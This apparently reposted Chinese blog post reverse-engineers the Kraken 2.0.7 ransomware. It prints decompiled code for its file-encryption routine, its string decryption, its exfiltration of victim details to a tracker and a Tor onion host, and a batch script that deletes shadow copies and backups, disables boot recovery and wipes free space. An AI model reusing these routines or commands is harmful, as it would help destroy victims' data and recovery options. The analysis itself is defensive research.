勒索病毒Kraken2.0.7分析
Posted 李志宽
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了勒索病毒Kraken2.0.7分析相关的知识,希望对你有一定的参考价值。
病毒信息
名称:Kraken_2.0.7.exe
病毒类型:勒索病毒
样本链接:https://app.any.run/tasks/32186bb2-60c2-4980-8bf8-4b2742697df4/#
样本md5:bcd2a924ee16f3a2ed4b77d0c09fc3a0
初步分析
根据app.any.run分析,该病毒会穷举进程列表并执行 bat,然后完全加密用户文件(无法通过磁盘回复软件恢复),最后删除自身。
软件运行截图
在虚拟机中解压杀毒软件会报毒
virscan扫描结果
静态分析
exeinfoPE扫描结果如下:
.net程序,通过babel混淆
尝试使用dnspy分析,发现各种变量名都被混淆,所以先de4dot反混淆,再使用dnspy
经过分析,Class22.smethod_0用于解密字符串,解密算法如下
public string method_0(string string_0, int int_0)
{
int num = string_0.Length;
char[] array = string_0.ToCharArray();
while (--num >= 0)
{
array[num] = (char)((int)array[num] ^ ((int)this.byte_0[int_0 & 15] | int_0));
}
return new string(array);
}
其中byte_0为从清单文件中PRMJ中读取的16个字节
使用 python 语言重写
def decrypt(s:str,num:int):
index=[i^ord('d') for i in bytes('4\\u0016\\t.',encoding='utf-8')]
print(bytes(index))
key=open('PrmJ.bin','rb').read()
res=""
for i in range(len(s)):
res+=chr(ord(s[i])^(key[num&15]|num))
print(res)
decrypt('',60185)
主函数首先调用Class7.smethod_8,Class7.smethod_29,开启了一个线程,运行Class15.method_0,然后调用了Class15.smethod_1方法,最后调用了Class7.smethod_8、Class7.smethod_18()
Class7.smethod8
通过http将受害者的 IP 位置信息等发送到https://2no.co/2SVJa5,第一次调用加了Begin:,第二次调用加了End:
Class7.smethod_29
下载core/statistics/polipo和core/statistics/bundle节点下指定的文件,此病毒中分别为Tor浏览器本身和代理
然后设置了Tor代理
将磁盘名称、类型、已用空间、可用空间发到core/statistics/host指定的链接,本例中http://kraken656kn6wyyx.onion/api/%1 (%1替换成磁盘相关信息),如果失败,这个函数总共尝试了 3 次重试
Class15.smethod_0
根据配置文件,对于不同类型的磁盘选择加密或不加密。最后加密了不可见的网络文件。
以网络磁盘为例
string[] logicalDrives = Environment.GetLogicalDrives();
for (int i = 0; i < logicalDrives.Length; i++)
{
DriveInfo driveInfo = new DriveInfo(logicalDrives[i]);
if (((driveInfo.IsReady && driveInfo.DriveType != DriveType.CDRom) || driveInfo.DriveType != DriveType.Unknown) && GClass2.GClass3.Boolean_10 && driveInfo.DriveType == DriveType.Network)
{
GClass8.smethod_7(driveInfo.Name, byte_0, byte_1); // 如果是网络磁盘就加密
}
}
合理猜测GClass8.smethod_7是加密函数
进入之后有两个本地函数,smethod_8 和 smethod_1
smethod_8从这个驱动器根目录开始穷举,如果开启了rapid mode,则对于穷举到的目录就立即加密,否则加入到一个列表中,待所有文件都穷举完毕了,再加密
GClass8.smethod_8(string_0);
if (!GClass2.GClass3.Boolean_13)
{
GClass8.smethod_1(byte_0, byte_1); // 非rapid mode,对list调用smethod_9进行加密
}
//...
// 如果采取了rapid mod,根据文件大小进行细分
if (GClass8.smethod_5(text))
{
long num = GClass8.smethod_3(text) / 1048576L;
if (GClass2.GClass3.Boolean_13)
{
if (num < 10L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 1, 2);
}
else if (num < 20L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 3, 4);
}
else if (num < 30L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 5, 6);
}
else if (num < 40L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 7, 8);
}
else if (num < 50L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 9, 10);
}
else if (num < 60L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 11, 12);
}
else if (num < 70L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 13, 14);
}
else if (num < 80L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 15, 16);
}
else if (num < 90L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 17, 18);
}
else if (num < 100L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 19, 20);
}
else if (num < 1000L)
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 32, 64);
}
else
{
GClass8.smethod_9(text, Class2.Class3.Byte_0, Class2.Class3.Byte_1, 64, 128);
}
// 如果没采用rapid mode,则只会分三种清空,而且稍后加密
else if (num < 100L)
{
GClass7.list_0.Add(text);
}
else if (num < 1000L)
{
GClass7.list_1.Add(text);
}
else
{
GClass7.list_2.Add(text);
}
如果文件是个目录,则判断是否是影像系统运行的重要文件目录,如果不是就递归加密
if (directories != null)
{
foreach (string string_ in directories)
{
if (GClass8.smethod_6(string_))
{
GClass8.smethod_8(string_);
}
}
}
后面通过Class7.smethod_16在同一目录下记录相关加密信息。进入加密函数smethod_9
首先判断文件是否存在,然后判断文件所在磁盘空间的可用空间(文件大小会随机增长),然后是文件名长度不超过 256,否则都会加密失败
if (!File.Exists(string_0))
{
result = false;
}
else
{
int num = 32;
int num2 = 256;
int maxValue = int_1 * 1048576;
int num3 = new Random().Next(int_0, maxValue);
if (new DriveInfo(string_0.Substring(0, 1) + Class22.smethod_0("", 62927)).AvailableFreeSpace <= (long)(num3 * 2))
{
result = false;
}
else if (Encoding.UTF8.GetBytes(new FileInfo(string_0).Name).Length > num2)
{
result = false;
}
开始加密
- 生成强随机字符串 Class7.smethod_12
- rc4 byte0 加密 array array2 = Class4.smethod_1(array, byte_0)
- 计算 array 的 sha256
- 使用 byte_1 做 IV,array 做 key,CBC 模式加密文件 Class4.smethod_0 负责加密,然后写回文件
- 然后为 AES key 创建一个识别码 Class7.smethod_6
- 将生成的 key 信息附在文件末尾
byte[] array = Class7.smethod_12(32);
byte[] array2 = Class4.smethod_1(array, byte_0);
byte[] array3 = SHA256.Create().ComputeHash(array);
byte[] array4 = new byte[num3];
byte[] array5 = new byte[32];
using (BinaryReader binaryReader = new BinaryReader(File.Open(string_0, FileMode.Open, FileAccess.Read, FileShare.None)))
{
array4 = binaryReader.ReadBytes(array4.Length);
// 前16个字节和后16个字节作为文件识别码
Buffer.BlockCopy(array4, 0, array5, 0, array5.Length - 16);
Buffer.BlockCopy(array4, array4.Length - 16, array5, 16, array5.Length - 16);
// AES算法加密
array4 = Class4.smethod_0(array4, array, byte_1);
if (array4 == null)
{
return false;
}
binaryReader.Close();
}
using (BinaryWriter binaryWriter = new BinaryWriter(File.Open(string_0, FileMode.Open, FileAccess.Write, FileShare.None)))
{
binaryWriter.Write(array4, 0, array4.Length);
binaryWriter.Close();
}
byte[] array6 = new byte[num];
byte[] bytes = Encoding.UTF8.GetBytes(array4.Length.ToString());
Buffer.BlockCopy(bytes, 0, array6, 0, bytes.Length);
byte[] array7 = Class7.smethod_12(32);
byte[] byte_2 = Class7.smethod_6(byte_0, byte_1, 1000, 8);
byte[] array8 = SHA256.Create().ComputeHash(array7);
byte[] array9 = Class4.smethod_1(array7, byte_0);
// 加密秘钥
array6 = Class4.smethod_3(array6, array7, byte_2);
array4 = null;
byte[] array10 = new byte[num2];
// 加密文件名
byte[] bytes2 = Encoding.UTF8.GetBytes(new FileInfo(string_0).Name);
Buffer.BlockCopy(bytes2, 0, array10, 0, bytes2.Length);
byte[] array11 = Class7.smethod_12(32);
byte[] byte_3 = Class7.smethod_6(byte_0, byte_1, 1000, 8);
byte[] array12 = SHA256.Create().ComputeHash(array11);
byte[] array13 = Class4.smethod_1(array11, byte_0);
array10 = Class4.smethod_3(array10, array11, byte_3);
byte[] buffer = new byte[array5.Length + array2.Length + array3.Length + num + array9.Length + array8.Length + num2 + array13.Length + array12.Length];
// 加密信息附在文件末尾
buffer = Class7.smethod_7(new byte[][]
{
array5,
array2,
array3,
array6,
array9,
array8,
array10,
array13,
array12
});
using (BinaryWriter binaryWriter2 = new BinaryWriter(File.Open(string_0, FileMode.Append, FileAccess.Write, FileShare.None)))
{
binaryWriter2.Write(buffer);
}
// 替换原文件
string arg = Class7.smethod_11(16, true);
string text = string.Format(Class22.smethod_0("", 57833), new FileInfo(string_0).DirectoryName, arg, Class2.Class3.String_1);
int num4 = 0;
do
{
if (!File.Exists(text))
{
File.Move(string_0, text);
}
if (num4 > 3)
{
goto IL_33C;
}
num4++;
}
Class15.smethod_1
首先解密了一些字符串,是版本之类的信息
string text = "";
text += Class22.smethod_0("", 62260);
text += Class22.smethod_0("", 59942);
text += Class22.smethod_0("", 63282);
text += GClass2.GClass3.String_1;
text += Class22.smethod_0("", 61408);
text += Environment.NewLine;
text += Environment.NewLine;
然后获取了语言信息,计算语言识别码
string a;
if (Class2.Class3.String_6 == Class22.smethod_0("", 61908))
{
a = installedUICulture.TwoLetterISOLanguageName.ToLower();
}
else if (installedUICulture.TwoLetterISOLanguageName.ToUpper() == Class2.Class3.String_6.ToUpper())
{
a = installedUICulture.TwoLetterISOLanguageName.ToLower();
}
else
{
a = installedUICulture.TwoLetterISOLanguageName.ToLower();
}
uint num = Class21.smethod_0(a);
语言识别码计算方式
uint num;
if (string_0 != null)
{
num = 2166136261U;
for (int i = 0; i < string_0.Length; i++)
{
num = ((uint)string_0[i] ^ num) * 16777619U;
}
}
return num;
然后根据不同的语言,text 后面附上不同的字符串。这些字符串读取自配置文件中的core/wallpaper/language/语言代码节点下的字符串,是 base64 串,根据节点推测存储了壁纸
然后读取一个color,用 text 和 color 制作一个图片(Class7.Class10.smethod_2),再根据Class7.Class11.smethod_0中对于注册表的操作,这里设置了壁纸
text = Regex.Replace(text, Class22.smethod_0("", 63156), text2);
text = Regex.Replace(text, Class22.smethod_0("", 59617), GClass2.GClass3.String_14.Replace(Class22.smethod_0("", 63156), Class2.Class3.String_1));
Color color_ = ColorTranslator.Fromhtml(GClass2.GClass3.GClass5.String_0);
Image image_ = Class7.Class10.smethod_2(text, color_, GClass2.GClass3.GClass5.Int32_0);
if (GClass2.GClass3.GClass5.Boolean_0) // core/wallpaper/change节点
{
Class7.Class11.smethod_0(image_, Class7.Class11.Enum1.const_2);
}
然后在系统盘所在文件夹创建\\ProgramData目录,下载https://download.sysinternals.com/files/SDelete.zip,写入ProgramData\\Microsoft.zip,然后对下载的文件进行了校验并解压。
string text3 = string.Format(Class22.smethod_0("", 60299), Environment.SystemDirectory.Substring(0, 1));
if (!Directory.Exists(text3))
{
Directory.CreateDirectory(text3);
}
byte[] array;
using (WebClient webClient = new WebClient())
{
array = webClient.DownloadData(Class22.smethod_0("", 61986));
if (array == null)
{
return;
}
}
string path = Path.Combine(text3, Class22.smethod_0("", 62087));
File.WriteAllBytes(path, array);
Class16 @class = new Class16(path);
@class.method_0(text3);
@class.Dispose();
File.Delete(path);
判断操作系统版本,删除另一个版本的 sdelete
之后就开始创建批处理文件,提取出如下
:: [Version {0}]
REM [Echo OFF]
@echo off
REM [Microsoft Sysinternals Eula Accepted]
REG ADD "HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete"
REG ADD "HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f
REM [Wipe Drives Free Space]
即接受软件相关条款,让软件运行时不再弹出条款提示框。
继续添加脚本内容
: 如果是系统盘执行这条命令
cmd.exe /c {0}sdelete.exe -c -z {1}:{2}
: 如果不是系统盘则会执行下面的命令
cmd.exe /c {0}sdelete.exe -z {1}:{2}
查看相关文档,这两条命令都用于清空磁盘剩余空间
又添加了一些脚本,解密
REM [Start SYSTEM Shutdown Timer]
shutdown /S /F /T {0} /C "{1}"
Unexpected shutdown due to maintenance break.
REM [Disable Safe Boot]
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
REM [Delete Backups]
wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
wmic SHADOWCOPY DELETE
vssadmin delete shadows /All
REM [Delete Temp Files]
del sdelete.exe
del {0}
定时关机、关闭安全启动、删除备份,删除卷影拷贝。可以看到该批处理文件是删除文件后的辅助步骤。
将脚本写入release.bat,创建进程执行。
Class7.smethod_18
删除自身
try
{
string arg = string.Concat(new string[]
{
Class22.smethod_0("", 59126) + string.Format(Class22.smethod_0("", 62226), Application.ExecutablePath)
});
new Process
{
StartInfo =
{
FileName = Class22.smethod_0("", 63259),
Arguments = string.Format(Class22.smethod_0("", 57658), arg),
WindowStyle = ProcessWindowStyle.Hidden
}
}.Start();
Environment.Exit(int_0);
}
catch (Exception)
{
}
防御方法
- 安装反病毒软件,在线查杀 18 款引擎报毒,虚拟机中解压后安全软件也会报毒
- 经过搜索发现市面上已经有解密软件,原因是秘钥信息似乎都存储在文件中了= =
总结
由于使用.net语言编写,所以即使经过了混淆,但是没有混淆程序控制流,使用dnspy配合de4dot依然可以解密,程序依然可读,所以逆向过程整体来讲比较顺利
以上是关于勒索病毒Kraken2.0.7分析的主要内容,如果未能解决你的问题,请参考以下文章